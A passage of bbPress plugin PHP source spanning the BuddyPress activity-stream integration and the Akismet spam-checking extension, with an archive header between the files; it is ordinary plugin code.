	 * @since 2.1.0 bbPress (r3902)
	 */
	private function fully_loaded() {
		do_action_ref_array( 'bbp_buddypress_activity_loaded', array( $this ) );
	}

	/** Methods ***************************************************************/

	/**
	 * Register our activity actions with BuddyPress
	 *
	 * @since 2.0.0 bbPress (r3395)
	 */
	public function register_activity_actions() {

		// Sitewide topic
		bp_activity_set_action(
			$this->component,
			$this->topic_create,
			esc_html__( 'New forum topic', 'bbpress' ),
			'bbp_format_activity_action_new_topic',
			esc_html__( 'Topics', 'bbpress' ),
			array( 'activity', 'member', 'member_groups', 'group' )
		);

		// Sitewide reply
		bp_activity_set_action(
			$this->component,
			$this->reply_create,
			esc_html__( 'New forum reply', 'bbpress' ),
			'bbp_format_activity_action_new_reply',
			esc_html__( 'Replies', 'bbpress' ),
			array( 'activity', 'member', 'member_groups', 'group' )
		);

		// Group forums
		/**
		 * An upstream improvement to BuddyPress is required to make these work,
		 * but they are included here to make our lives easier later.
		if ( bp_is_active( 'groups' ) ) {

			// Topic
			bp_activity_set_action(
				buddypress()->groups->id,
				$this->topic_create,
				esc_html__( 'New forum topic', 'bbpress' ),
				'bbp_format_activity_action_new_topic',
				esc_html__( 'Topics', 'bbpress' ),
				array( 'activity', 'member', 'member_groups', 'group' )
			);

			// Reply
			bp_activity_set_action(
				buddypress()->groups->id,
				$this->reply_create,
				esc_html__( 'New forum reply', 'bbpress' ),
				'bbp_format_activity_action_new_reply',
				esc_html__( 'Replies', 'bbpress' ),
				array( 'activity', 'member', 'member_groups', 'group' )
			);
		}
		*/
	}

	/**
	 * Wrapper for recoding bbPress actions to the BuddyPress activity stream
	 *
	 * @since 2.0.0 bbPress (r3395)
	 *
	 * @param  array $args Array of arguments for bp_activity_add()
	 *
	 * @return int   Activity ID if successful, false if not
	 */
	private function record_activity( $args = array() ) {

		// Default activity args
		$activity = bbp_parse_args( $args, array(
			'id'                => null,
			'user_id'           => bbp_get_current_user_id(),
			'type'              => '',
			'action'            => '',
			'item_id'           => '',
			'secondary_item_id' => '',
			'content'           => '',
			'primary_link'      => '',
			'component'         => $this->component,
			'recorded_time'     => bp_core_current_time(),
			'hide_sitewide'     => false
		), 'record_activity' );

		// Add the activity
		return bp_activity_add( $activity );
	}

	/**
	 * Wrapper for deleting bbPress actions from BuddyPress activity stream
	 *
	 * @since 2.0.0 bbPress (r3395)
	 *
	 * @param  array $args Array of arguments for bp_activity_add()
	 *
	 * @return int   Activity ID if successful, false if not
	 */
	public function delete_activity( $args = array() ) {

		// Default activity args
		$activity = bbp_parse_args( $args, array(
			'item_id'           => false,
			'component'         => $this->component,
			'type'              => false,
			'user_id'           => false,
			'secondary_item_id' => false
		), 'delete_activity' );

		// Delete the activity
		bp_activity_delete_by_item_id( $activity );
	}

	/**
	 * Check for an existing activity stream entry for a given post_id
	 *
	 * @param int $post_id ID of the topic or reply
	 * @return int if an activity id is verified, false if not
	 */
	private static function get_activity_id( $post_id = 0 ) {

		// Try to get the activity ID of the post
		$activity_id = (int) get_post_meta( $post_id, '_bbp_activity_id', true );

		// Bail if no activity ID is in post meta
		if ( empty( $activity_id ) ) {
			return null;
		}

		// Get the activity stream item, bail if it doesn't exist
		$existing = new BP_Activity_Activity( $activity_id );
		if ( empty( $existing->component ) ) {
			return null;
		}

		// Return the activity ID since we've verified the connection
		return $activity_id;
	}

	/**
	 * Maybe disable activity stream comments on select actions
	 *
	 * @since 2.0.0 bbPress (r3399)
	 *
	 * @global BP_Activity_Template $activities_template
	 * @param boolean $can_comment
	 * @return boolean
	 */
	public function activity_can_comment( $can_comment = true ) {
		global $activities_template;

		// Already forced off, so comply
		if ( false === $can_comment ) {
			return $can_comment;
		}

		// Check if blog & forum activity stream commenting is off
		if ( ! empty( $activities_template->disable_blogforum_replies ) ) {

			// Get the current action name
			$action_name = bp_get_activity_action_name();

			// Setup the array of possibly disabled actions
			$disabled_actions = array(
				$this->topic_create,
				$this->reply_create
			);

			// Check if this activity stream action is disabled
			if ( in_array( $action_name, $disabled_actions, true ) ) {
				$can_comment = false;
			}
		}

		return $can_comment;
	}

	/**
	 * Maybe link directly to topics and replies in activity stream entries
	 *
	 * @since 2.0.0 bbPress (r3399)
	 *
	 * @param string $link
	 * @param mixed $activity_object
	 * @return string The link to the activity stream item
	 */
	public function activity_get_permalink( $link = '', $activity_object = false ) {

		// Setup the array of actions to link directly to
		$disabled_actions = array(
			$this->topic_create,
			$this->reply_create
		);

		// Check if this activity stream action is directly linked
		if ( in_array( $activity_object->type, $disabled_actions, true ) ) {
			$link = $activity_object->primary_link;
		}

		return $link;
	}

	/**
	 * Append forum options to activity filter select box
	 *
	 * @since 2.1.0 bbPress (r3653)
	 */
	function activity_filter_options() {
	?>

		<option value="<?php echo $this->topic_create; ?>"><?php esc_html_e( 'Topics',  'bbpress' ); ?></option>
		<option value="<?php echo $this->reply_create; ?>"><?php esc_html_e( 'Replies', 'bbpress' ); ?></option>

	<?php
	}

	/** Topics ****************************************************************/

	/**
	 * Record an activity stream entry when a topic is created or updated
	 *
	 * @since 2.0.0 bbPress (r3395)
	 *
	 * @param int $topic_id
	 * @param int $forum_id
	 * @param array $anonymous_data
	 * @param int $topic_author_id
	 * @return Bail early if topic is by anonymous user
	 */
	public function topic_create( $topic_id = 0, $forum_id = 0, $anonymous_data = array(), $topic_author_id = 0 ) {

		// Bail early if topic is by anonymous user
		if ( ! empty( $anonymous_data ) ) {
			return;
		}

		// Bail if site is private
		if ( ! bbp_is_site_public() ) {
			return;
		}

		// Validate activity data
		$user_id  = bbp_get_user_id( $topic_author_id );
		$topic_id = bbp_get_topic_id( $topic_id );
		$forum_id = bbp_get_forum_id( $forum_id );

		// Bail if user is not active
		if ( bbp_is_user_inactive( $user_id ) ) {
			return;
		}

		// Bail if topic is not published
		if ( ! bbp_is_topic_published( $topic_id ) ) {
			return;
		}

		// User link for topic author
		$user_link = bbp_get_user_profile_link( $user_id  );

		// Topic
		$topic_permalink = bbp_get_topic_permalink( $topic_id );
		$topic_title     = get_post_field( 'post_title',   $topic_id, 'raw' );
		$topic_content   = get_post_field( 'post_content', $topic_id, 'raw' );
		$topic_link      = '<a href="' . $topic_permalink . '">' . $topic_title . '</a>';

		// Forum
		$forum_permalink = bbp_get_forum_permalink( $forum_id );
		$forum_title     = get_post_field( 'post_title', $forum_id, 'raw' );
		$forum_link      = '<a href="' . $forum_permalink . '">' . $forum_title . '</a>';

		// Activity action & text
		$activity_text    = sprintf( esc_html__( '%1$s started the topic %2$s in the forum %3$s', 'bbpress' ), $user_link, $topic_link, $forum_link );
		$activity_action  = apply_filters( 'bbp_activity_topic_create',         $activity_text, $user_id,   $topic_id,   $forum_id );
		$activity_content = apply_filters( 'bbp_activity_topic_create_excerpt', $topic_content                                     );

		// Compile and record the activity stream results
		$activity_id = $this->record_activity( array(
			'id'                => $this->get_activity_id( $topic_id ),
			'user_id'           => $user_id,
			'action'            => $activity_action,
			'content'           => $activity_content,
			'primary_link'      => $topic_permalink,
			'type'              => $this->topic_create,
			'item_id'           => $topic_id,
			'secondary_item_id' => $forum_id,
			'recorded_time'     => get_post_time( 'Y-m-d H:i:s', true, $topic_id ),
			'hide_sitewide'     => ! bbp_is_forum_public( $forum_id, false )
		) );

		// Add the activity entry ID as a meta value to the topic
		if ( ! empty( $activity_id ) ) {
			update_post_meta( $topic_id, '_bbp_activity_id', $activity_id );
		}
	}

	/**
	 * Delete the activity stream entry when a topic is spammed, trashed, or deleted
	 *
	 * @param int $topic_id
	 */
	public function topic_delete( $topic_id = 0 ) {

		// Get activity ID, bail if it doesn't exist
		$activity_id = $this->get_activity_id( $topic_id );
		if ( ! empty( $activity_id ) ) {
			return bp_activity_delete( array( 'id' => $activity_id ) );
		}

		return false;
	}

	/**
	 * Update the activity stream entry when a topic status changes
	 *
	 * @param int $topic_id
	 * @param obj $post
	 * @return Bail early if not a topic, or topic is by anonymous user
	 */
	public function topic_update( $topic_id = 0, $post = null ) {

		// Bail early if not a topic
		if ( get_post_type( $post ) !== bbp_get_topic_post_type() ) {
			return;
		}

		// Bail early if revisions are off
		if ( ! bbp_allow_revisions() || ! post_type_supports( bbp_get_topic_post_type(), 'revisions' ) ) {
			return;
		}

		$topic_id = bbp_get_topic_id( $topic_id );

		// Bail early if topic is by anonymous user
		if ( bbp_is_topic_anonymous( $topic_id ) ) {
			return;
		}

		// Action based on new status
		if ( bbp_is_topic_public( $post->ID ) ) {

			// Validate topic data
			$forum_id        = bbp_get_topic_forum_id( $topic_id );
			$topic_author_id = bbp_get_topic_author_id( $topic_id );

			$this->topic_create( $topic_id, $forum_id, array(), $topic_author_id );
		} else {
			$this->topic_delete( $topic_id );
		}
	}

	/** Replies ***************************************************************/

	/**
	 * Record an activity stream entry when a reply is created
	 *
	 * @since 2.0.0 bbPress (r3395)
	 *
	 * @param int $topic_id
	 * @param int $forum_id
	 * @param array $anonymous_data
	 * @param int $topic_author_id
	 * @return Bail early if topic is by anonymous user
	 */
	public function reply_create( $reply_id = 0, $topic_id = 0, $forum_id = 0, $anonymous_data = array(), $reply_author_id = 0 ) {

		// Do not log activity of anonymous users
		if ( ! empty( $anonymous_data ) ) {
			return;
		}

		// Bail if site is private
		if ( ! bbp_is_site_public() ) {
			return;
		}

		// Validate activity data
		$user_id  = bbp_get_user_id( $reply_author_id );
		$reply_id = bbp_get_reply_id( $reply_id );
		$topic_id = bbp_get_topic_id( $topic_id );
		$forum_id = bbp_get_forum_id( $forum_id );

		// Bail if user is not active
		if ( bbp_is_user_inactive( $user_id ) ) {
			return;
		}

		// Bail if reply is not published
		if ( ! bbp_is_reply_published( $reply_id ) ) {
			return;
		}

		// Setup links for activity stream
		$user_link = bbp_get_user_profile_link( $user_id  );

		// Reply
		$reply_url     = bbp_get_reply_url( $reply_id );
		$reply_content = get_post_field( 'post_content', $reply_id, 'raw' );

		// Topic
		$topic_permalink = bbp_get_topic_permalink( $topic_id );
		$topic_title     = get_post_field( 'post_title', $topic_id, 'raw' );
		$topic_link      = '<a href="' . $topic_permalink . '">' . $topic_title . '</a>';

		// Forum
		$forum_permalink = bbp_get_forum_permalink( $forum_id );
		$forum_title     = get_post_field( 'post_title', $forum_id, 'raw' );
		$forum_link      = '<a href="' . $forum_permalink . '">' . $forum_title . '</a>';

		// Activity action & text
		$activity_text    = sprintf( esc_html__( '%1$s replied to the topic %2$s in the forum %3$s', 'bbpress' ), $user_link, $topic_link, $forum_link );
		$activity_action  = apply_filters( 'bbp_activity_reply_create',         $activity_text, $user_id, $reply_id,  $topic_id );
		$activity_content = apply_filters( 'bbp_activity_reply_create_excerpt', $reply_content                                  );

		// Compile and record the activity stream results
		$activity_id = $this->record_activity( array(
			'id'                => $this->get_activity_id( $reply_id ),
			'user_id'           => $user_id,
			'action'            => $activity_action,
			'content'           => $activity_content,
			'primary_link'      => $reply_url,
			'type'              => $this->reply_create,
			'item_id'           => $reply_id,
			'secondary_item_id' => $topic_id,
			'recorded_time'     => get_post_time( 'Y-m-d H:i:s', true, $reply_id ),
			'hide_sitewide'     => ! bbp_is_forum_public( $forum_id, false )
		) );

		// Add the activity entry ID as a meta value to the reply
		if ( ! empty( $activity_id ) ) {
			update_post_meta( $reply_id, '_bbp_activity_id', $activity_id );
		}
	}

	/**
	 * Delete the activity stream entry when a reply is spammed, trashed, or deleted
	 *
	 * @param int $reply_id
	 */
	public function reply_delete( $reply_id ) {

		// Get activity ID, bail if it doesn't exist
		$activity_id = $this->get_activity_id( $reply_id );
		if ( ! empty( $activity_id ) ) {
			return bp_activity_delete( array( 'id' => $activity_id ) );
		}

		return false;
	}

	/**
	 * Update the activity stream entry when a reply status changes
	 *
	 * @param int $reply_id
	 * @param obj $post
	 * @return Bail early if not a reply, or reply is by anonymous user
	 */
	public function reply_update( $reply_id, $post ) {

		// Bail early if not a reply
		if ( get_post_type( $post ) !== bbp_get_reply_post_type() ) {
			return;
		}

		// Bail early if revisions are off
		if ( ! bbp_allow_revisions() || ! post_type_supports( bbp_get_reply_post_type(), 'revisions' ) ) {
			return;
		}

		$reply_id = bbp_get_reply_id( $reply_id );

		// Bail early if reply is by anonymous user
		if ( bbp_is_reply_anonymous( $reply_id ) ) {
			return;
		}

		// Action based on new status
		if ( bbp_get_public_status_id() === $post->post_status ) {

			// Validate reply data
			$topic_id        = bbp_get_reply_topic_id( $reply_id );
			$forum_id        = bbp_get_reply_forum_id( $reply_id );
			$reply_author_id = bbp_get_reply_author_id( $reply_id );

			$this->reply_create( $reply_id, $topic_id, $forum_id, array(), $reply_author_id );
		} else {
			$this->reply_delete( $reply_id );
		}
	}
}
endif;
includes/extend/akismet.php000066600000062455151771460310012034 0ustar00<?php

/**
 * Main bbPress Akismet Class
 *
 * @package bbPress
 * @subpackage Akismet
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Akismet' ) ) :
/**
 * Loads Akismet extension
 *
 * @since 2.0.0 bbPress (r3277)
 *
 * @package bbPress
 * @subpackage Akismet
 */
class BBP_Akismet {

	/**
	 * The main bbPress Akismet loader
	 *
	 * @since 2.0.0 bbPress (r3277)
	 */
	public function __construct() {
		$this->setup_actions();
	}

	/**
	 * Setup the admin hooks
	 *
	 * @since 2.0.0 bbPress (r3277)
	 *
	 * @access private
	 */
	private function setup_actions() {

		// Prevent debug notices
		$checks = array();

		// bbPress functions to check for spam
		$checks['check']  = array(
			'bbp_new_topic_pre_insert'  => 1,  // New topic check
			'bbp_new_reply_pre_insert'  => 1,  // New reply check
			'bbp_edit_topic_pre_insert' => 1,  // Edit topic check
			'bbp_edit_reply_pre_insert' => 1   // Edit reply check
		);

		// bbPress functions for spam and ham submissions
		$checks['submit'] = array(
			'bbp_spammed_topic'   => 10, // Spammed topic
			'bbp_unspammed_topic' => 10, // Unspammed reply
			'bbp_spammed_reply'   => 10, // Spammed reply
			'bbp_unspammed_reply' => 10, // Unspammed reply
		);

		// Add the checks
		foreach ( $checks as $type => $functions ) {
			foreach ( $functions as $function => $priority ) {
				add_filter( $function, array( $this, $type . '_post'  ), $priority );
			}
		}

		// Update post meta
		add_action( 'wp_insert_post', array( $this, 'update_post_meta' ), 10, 2 );

		// Admin
		if ( is_admin() ) {
			add_action( 'add_meta_boxes', array( $this, 'add_metaboxes' ) );
		}
	}

	/**
	 * Converts topic/reply data into Akismet comment checking format
	 *
	 * @since 2.0.0 bbPress (r3277)
	 *
	 * @param array $post_data
	 *
	 * @return array Array of post data
	 */
	public function check_post( $post_data = array() ) {

		// Define local variables
		$user_data = array();
		$post_permalink = '';

		// Post is not published
		if ( bbp_get_public_status_id() !== $post_data['post_status'] ) {
			return $post_data;
		}

		// Cast the post_author to 0 if it's empty
		if ( empty( $post_data['post_author'] ) ) {
			$post_data['post_author'] = 0;
		}

		/** Author ************************************************************/

		$user_data['last_active'] = '';
		$user_data['registered']  = date( 'Y-m-d H:i:s');
		$user_data['total_posts'] = (int) bbp_get_user_post_count( $post_data['post_author'] );

		// Get user data
		$userdata       = get_userdata( $post_data['post_author'] );
		$anonymous_data = bbp_filter_anonymous_post_data();

		// Author is anonymous
		if ( ! bbp_has_errors() ) {
			$user_data['name']    = $anonymous_data['bbp_anonymous_name'];
			$user_data['email']   = $anonymous_data['bbp_anonymous_email'];
			$user_data['website'] = $anonymous_data['bbp_anonymous_website'];

		// Author is logged in
		} elseif ( ! empty( $userdata ) ) {
			$user_data['name']       = $userdata->display_name;
			$user_data['email']      = $userdata->user_email;
			$user_data['website']    = $userdata->user_url;
			$user_data['registered'] = $userdata->user_registered;

		// Missing author data, so set some empty strings
		} else {
			$user_data['name']    = '';
			$user_data['email']   = '';
			$user_data['website'] = '';
		}

		/** Post **************************************************************/

		if ( ! empty( $post_data['post_parent'] ) ) {

			// Use post parent for permalink
			$post_permalink = get_permalink( $post_data['post_parent'] );

			// Use post parent to get datetime of last reply on this topic
			$reply_id = bbp_get_topic_last_reply_id( $post_data['post_parent'] );
			if ( ! empty( $reply_id ) ) {
				$user_data['last_active'] = get_post_field( 'post_date', $reply_id );
			}
		}

		// Pass title & content together into comment content
		$_post_content = trim( $post_data['post_title'] . "\n\n" . $post_data['post_content'] );

		// Check if the post data is spammy...
		$_post = $this->maybe_spam( array(
			'comment_author'                 => $user_data['name'],
			'comment_author_email'           => $user_data['email'],
			'comment_author_url'             => $user_data['website'],
			'comment_content'                => $_post_content,
			'comment_post_ID'                => $post_data['post_parent'],
			'comment_type'                   => $post_data['post_type'],
			'comment_total'                  => $user_data['total_posts'],
			'comment_last_active_gmt'        => $user_data['last_active'],
			'comment_account_registered_gmt' => $user_data['registered'],
			'permalink'                      => $post_permalink,
			'referrer'                       => wp_get_raw_referer(),
			'user_agent'                     => bbp_current_author_ua(),
			'user_ID'                        => $post_data['post_author'],
			'user_ip'                        => bbp_current_author_ip(),
			'user_role'                      => $this->get_user_roles( $post_data['post_author'] ),
		) );

		// Set the result headers (from maybe_spam() above)
		$post_data['bbp_akismet_result_headers'] = ! empty( $_post['bbp_akismet_result_headers'] )
			? $_post['bbp_akismet_result_headers'] // raw
			: esc_html__( 'No response', 'bbpress' );

		// Set the result (from maybe_spam() above)
		$post_data['bbp_akismet_result'] = ! empty( $_post['bbp_akismet_result'] )
			? $_post['bbp_akismet_result'] // raw
			: esc_html__( 'No response', 'bbpress' );

		// Avoid recurrsion by unsetting results
		unset(
			$_post['bbp_akismet_result_headers'],
			$_post['bbp_akismet_result']
		);
		$post_data['bbp_post_as_submitted'] = $_post;

		// Cleanup to avoid touching this variable again below
		unset( $_post );

		// Allow post_data to be manipulated
		$post_data = apply_filters( 'bbp_akismet_check_post', $post_data );

		// Parse and log the last response
		$this->last_post = $this->parse_response( $post_data );

		// Return the last response back to the filter
		return $this->last_post;
	}

	/**
	 * Parse the response from the Akismet service, and alter the post data as
	 * necessary. For example, switch the status to `spam` if spammy.
	 *
	 * Note: this method also skiis responsible for allowing users who can moderate, to
	 * never have their posts marked as spam. This is because they are "trusted"
	 * users. However, their posts are still sent to Akismet to be checked.
	 *
	 * @since 2.6.0 bbPress (r6873)
	 *
	 * @param array $post_data
	 *
	 * @return array
	 */
	private function parse_response( $post_data = array() ) {

		// Get the parent ID of the post as submitted
		$parent_id = ! empty( $post_data['bbp_post_as_submitted']['comment_post_ID'] )
			? absint( $post_data['bbp_post_as_submitted']['comment_post_ID'] )
			: 0;

		// Allow moderators to skip spam (includes per-forum moderators via $parent_id)
		$skip_spam = current_user_can( 'moderate', $parent_id );

		// Bail early if current user can skip spam enforcement
		if ( apply_filters( 'bbp_bypass_spam_enforcement', $skip_spam, $post_data ) ) {
			return $post_data;
		}

		// Result is spam, so set the status as such
		if ( 'true' === $post_data['bbp_akismet_result'] ) {

			// Let plugins do their thing
			do_action( 'bbp_akismet_spam_caught' );

			// Set post_status to spam
			$post_data['post_status'] = bbp_get_spam_status_id();

			// Filter spammy tags into meta data
			add_filter( 'bbp_new_reply_pre_set_terms', array( $this, 'filter_post_terms' ), 1, 3 );
		}

		// Return the (potentially modified) post data
		return $post_data;
	}

	/**
	 * Submit a post for spamming or hamming
	 *
	 * @since 2.0.0 bbPress (r3277)
	 *
	 * @param int $post_id
	 *
	 * @global string $akismet_api_host
	 * @global string $akismet_api_port
	 * @global object $current_user
	 * @global object $current_site
	 *
	 * @return array Array of existing topic terms
	 */
	public function submit_post( $post_id = 0 ) {
		global $current_user, $current_site;

		// Innocent until proven guilty
		$request_type   = 'ham';
		$current_filter = current_filter();

		// Check this filter and adjust the $request_type accordingly
		switch ( $current_filter ) {

			// Mysterious, and straight from the can
			case 'bbp_spammed_topic' :
			case 'bbp_spammed_reply' :
				$request_type = 'spam';
				break;

			// Honey-glazed, a straight off the bone
			case 'bbp_unspammed_topic' :
			case 'bbp_unspammed_reply' :
				$request_type = 'ham';
				break;

			// Possibly poison...
			default :
				return;
		}

		// Setup some variables
		$post_id = (int) $post_id;

		// Make sure we have a post
		$_post = get_post( $post_id );

		// Bail if get_post() fails
		if ( empty( $_post ) ) {
			return;
		}

		// Bail if we're spamming, but the post_status isn't spam
		if ( ( 'spam' === $request_type ) && ( bbp_get_spam_status_id() !== $_post->post_status ) ) {
			return;
		}

		// Pass title & content together into comment content
		$_post_content = trim( $_post->post_title . "\n\n" . $_post->post_content );

		// Set some default post_data
		$post_data = array(
			'comment_approved'     => $_post->post_status,
			'comment_author'       => $_post->post_author ? get_the_author_meta( 'display_name', $_post->post_author ) : get_post_meta( $post_id, '_bbp_anonymous_name',    true ),
			'comment_author_email' => $_post->post_author ? get_the_author_meta( 'email',        $_post->post_author ) : get_post_meta( $post_id, '_bbp_anonymous_email',   true ),
			'comment_author_url'   => $_post->post_author ? bbp_get_user_profile_url(            $_post->post_author ) : get_post_meta( $post_id, '_bbp_anonymous_website', true ),
			'comment_content'      => $_post_content,
			'comment_date_gmt'     => $_post->post_date_gmt,
			'comment_ID'           => $post_id,
			'comment_post_ID'      => $_post->post_parent,
			'comment_type'         => $_post->post_type,
			'permalink'            => get_permalink( $post_id ),
			'user_ID'              => $_post->post_author,
			'user_ip'              => get_post_meta( $post_id, '_bbp_author_ip', true ),
			'user_role'            => $this->get_user_roles( $_post->post_author ),
		);

		// Use the original version stored in post_meta if available
		$as_submitted = get_post_meta( $post_id, '_bbp_akismet_as_submitted', true );
		if ( $as_submitted && is_array( $as_submitted ) && isset( $as_submitted['comment_content'] ) ) {
			$post_data = array_merge( $post_data, $as_submitted );
		}

		// Add the reporter IP address
		$post_data['reporter_ip']  = bbp_current_author_ip();

		// Add some reporter info
		if ( is_object( $current_user ) ) {
			$post_data['reporter'] = $current_user->user_login;
		}

		// Add the current site domain
		if ( is_object( $current_site ) ) {
			$post_data['site_domain'] = $current_site->domain;
		}

		// Place your slide beneath the microscope
		$post_data = $this->maybe_spam( $post_data, 'submit', $request_type );

		// Manual user action
		if ( isset( $post_data['reporter'] ) ) {

			// What kind of action
			switch ( $request_type ) {

				// Spammy
				case 'spam' :
					if ( 'topic' === $post_data['comment_type'] ) {
						/* translators: %s: reporter name */
						$message = sprintf( esc_html__( '%s reported this topic as spam', 'bbpress' ),
							$post_data['reporter']
						);
					} elseif ( 'reply' === $post_data['comment_type'] ) {
						/* translators: %s: reporter name */
						$message = sprintf( esc_html__( '%s reported this reply as spam', 'bbpress' ),
							$post_data['reporter']
						);
					} else {
						/* translators: 1: reporter name, 2: comment type */
						$message = sprintf( esc_html__( '%1$s reported this %2$s as spam', 'bbpress' ),
							$post_data['reporter'],
							$post_data['comment_type']
						);
					}

					$this->update_post_history( $post_id, $message, 'report-spam' );
					update_post_meta( $post_id, '_bbp_akismet_user_result', 'true'                 );
					update_post_meta( $post_id, '_bbp_akismet_user',        $post_data['reporter'] );
					break;

				// Hammy
				case 'ham' :
					if ( 'topic' === $post_data['comment_type'] ) {
						/* translators: %s: reporter name */
						$message = sprintf( esc_html__( '%s reported this topic as not spam', 'bbpress' ),
							$post_data['reporter']
						);
					} elseif ( 'reply' === $post_data['comment_type'] ) {
						/* translators: %s: reporter name */
						$message = sprintf( esc_html__( '%s reported this reply as not spam', 'bbpress' ),
							$post_data['reporter']
						);
					} else {
						/* translators: 1: reporter name, 2: comment type */
						$message = sprintf( esc_html__( '%1$s reported this %2$s as not spam', 'bbpress' ),
							$post_data['reporter'],
							$post_data['comment_type']
						);
					}

					$this->update_post_history( $post_id, $message, 'report-ham' );
					update_post_meta( $post_id, '_bbp_akismet_user_result', 'false'                 );
					update_post_meta( $post_id, '_bbp_akismet_user',         $post_data['reporter'] );

					// @todo Topic term revision history
					break;

				// Possible other actions
				default :
					break;
			}
		}

		do_action( 'bbp_akismet_submit_' . $request_type . '_post', $post_id, $post_data['bbp_akismet_result'] );
	}

	/**
	 * Ping Akismet service and check for spam/ham response
	 *
	 * @since 2.0.0 bbPress (r3277)
	 *
	 * @param array $post_data
	 * @param string $check Accepts check|submit
	 * @param string $spam Accepts spam|ham
	 *
	 * @global string $akismet_api_host
	 * @global string $akismet_api_port
	 *
	 * @return array Array of post data
	 */
	private function maybe_spam( $post_data = array(), $check = 'check', $spam = 'spam' ) {
		global $akismet_api_host, $akismet_api_port;

		// Define variables
		$query_string = $path = $response = '';

		// Make sure post data is an array
		if ( ! is_array( $post_data ) ) {
			$post_data = array();
		}

		// Populate post data
		$post_data['blog']         = get_option( 'home' );
		$post_data['blog_charset'] = get_option( 'blog_charset' );
		$post_data['blog_lang']    = get_locale();
		$post_data['referrer']     = wp_get_raw_referer();
		$post_data['user_agent']   = bbp_current_author_ua();

		// Loop through _POST args and rekey strings
		if ( ! empty( $_POST ) && is_countable( $_POST ) ) {
			foreach ( $_POST as $key => $value ) {
				if ( is_string( $value ) ) {
					$post_data['POST_' . $key] = $value;
				}
			}
		}

		// Loop through _SERVER args and remove allowed keys
		if ( ! empty( $_SERVER ) && is_countable( $_SERVER ) ) {

			// Keys to ignore
			$ignore = array( 'HTTP_COOKIE', 'HTTP_COOKIE2', 'PHP_AUTH_PW' );

			foreach ( $_SERVER as $key => $value ) {

				// Key should not be ignored
				if ( ! in_array( $key, $ignore, true ) && is_string( $value ) ) {
					$post_data[ $key ] = $value;

				// Key should be ignored
				} else {
					$post_data[ $key ] = '';
				}
			}
		}

		// Encode post data
		if ( ! empty( $post_data ) && is_countable( $post_data ) ) {
			foreach ( $post_data as $key => $data ) {
				$query_string .= $key . '=' . urlencode( wp_unslash( $data ) ) . '&';
			}
		}

		// Setup the API route
		if ( 'check' === $check ) {
			$path = '/1.1/comment-check';
		} elseif ( 'submit' === $check ) {
			$path = '/1.1/submit-' . $spam;
		}

		// Send data to Akismet
		$response = ! apply_filters( 'bbp_bypass_check_for_spam', false, $post_data )
			? $this->http_post( $query_string, $akismet_api_host, $path, $akismet_api_port )
			: false;

		// Set the result headers
		$post_data['bbp_akismet_result_headers'] = ! empty( $response[0] )
			? $response[0]
			: esc_html__( 'No response', 'bbpress' );

		// Set the result
		$post_data['bbp_akismet_result'] = ! empty( $response[1] )
			? $response[1]
			: esc_html__( 'No response', 'bbpress' );

		// Return the post data, with the results of the external Akismet request
		return $post_data;
	}

	/**
	 * Update post meta after a spam check
	 *
	 * @since 2.0.0 bbPress (r3308)
	 *
	 * @param int $post_id
	 * @param object $_post
	 *
	 * @global object $this->last_post
	 */
	public function update_post_meta( $post_id = 0, $_post = false ) {

		// Define local variable(s)
		$as_submitted = false;

		// Setup some variables
		$post_id = (int) $post_id;

		// Ensure we have a post object
		if ( empty( $_post ) ) {
			$_post = get_post( $post_id );
		}

		// Set up Akismet last post data
		if ( ! empty( $this->last_post['bbp_post_as_submitted'] ) ) {
			$as_submitted = $this->last_post['bbp_post_as_submitted'];
		}

		// wp_insert_post() might be called in other contexts. Ensure this is
		// the same topic/reply as was checked by BBP_Akismet::check_post()
		if ( is_object( $_post ) && ! empty( $this->last_post ) && is_array( $as_submitted ) ) {

			// Get user data
			$userdata       = get_userdata( $_post->post_author );
			$anonymous_data = bbp_filter_anonymous_post_data();

			// Which name?
			$name = ! empty( $anonymous_data['bbp_anonymous_name'] )
				? $anonymous_data['bbp_anonymous_name']
				: $userdata->display_name;

			// Which email?
			$email = ! empty( $anonymous_data['bbp_anonymous_email'] )
				? $anonymous_data['bbp_anonymous_email']
				: $userdata->user_email;

			// More checks
			if (

				// Post matches
				( intval( $as_submitted['comment_post_ID'] ) === intval( $_post->post_parent ) )

				&&

				// Name matches
				( $as_submitted['comment_author'] === $name )

				&&

				// Email matches
				( $as_submitted['comment_author_email'] === $email )
			) {

				// Normal result: true
				if ( ! empty( $this->last_post['bbp_akismet_result'] ) && ( $this->last_post['bbp_akismet_result'] === 'true' ) ) {

					// Leave a trail so other's know what we did
					update_post_meta( $post_id, '_bbp_akismet_result', 'true' );
					$this->update_post_history(
						$post_id,
						esc_html__( 'Akismet caught this post as spam', 'bbpress' ),
						'check-spam'
					);

					// If post_status isn't the spam status, as expected, leave a note
					if ( bbp_get_spam_status_id() !== $_post->post_status ) {
						$this->update_post_history(
							$post_id,
							sprintf(
								esc_html__( 'Post status was changed to %s', 'bbpress' ),
								$_post->post_status
							),
							'status-changed-' . $_post->post_status
						);
					}

				// Normal result: false
				} elseif ( ! empty( $this->last_post['bbp_akismet_result'] ) && ( $this->last_post['bbp_akismet_result'] === 'false' ) ) {

					// Leave a trail so other's know what we did
					update_post_meta( $post_id, '_bbp_akismet_result', 'false' );
					$this->update_post_history(
						$post_id,
						esc_html__( 'Akismet cleared this post as not spam', 'bbpress' ),
						'check-ham'
					);

					// If post_status is the spam status, which isn't expected, leave a note
					if ( bbp_get_spam_status_id() === $_post->post_status ) {
						$this->update_post_history(
							$post_id,
							sprintf(
								esc_html__( 'Post status was changed to %s', 'bbpress' ),
								$_post->post_status
							),
							'status-changed-' . $_post->post_status
						);
					}

				// Abnormal result: error
				} else {
					// Leave a trail so other's know what we did
					update_post_meta( $post_id, '_bbp_akismet_error', time() );
					$this->update_post_history(
						$post_id,
						sprintf(
							esc_html__( 'Akismet was unable to check this post (response: %s), will automatically retry again later.', 'bbpress' ),
							$this->last_post['bbp_akismet_result']
						),
						'check-error'
					);
				}

				// Record the complete original data as submitted for checking
				if ( isset( $this->last_post['bbp_post_as_submitted'] ) ) {
					update_post_meta(
						$post_id,
						'_bbp_akismet_as_submitted',
						$this->last_post['bbp_post_as_submitted']
					);
				}
			}
		}
	}

	/**
	 * Update Akismet history of a Post
	 *
	 * @since 2.0.0 bbPress (r3308)
	 *
	 * @param int $post_id
	 * @param string $message
	 * @param string $event
	 */
	private function update_post_history( $post_id = 0, $message = null, $event = null ) {

		// Define local variable(s)
		$user = '';

		// Get the current user
		$current_user = wp_get_current_user();

		// Get the user's login name if possible
		if ( is_object( $current_user ) && isset( $current_user->user_login ) ) {
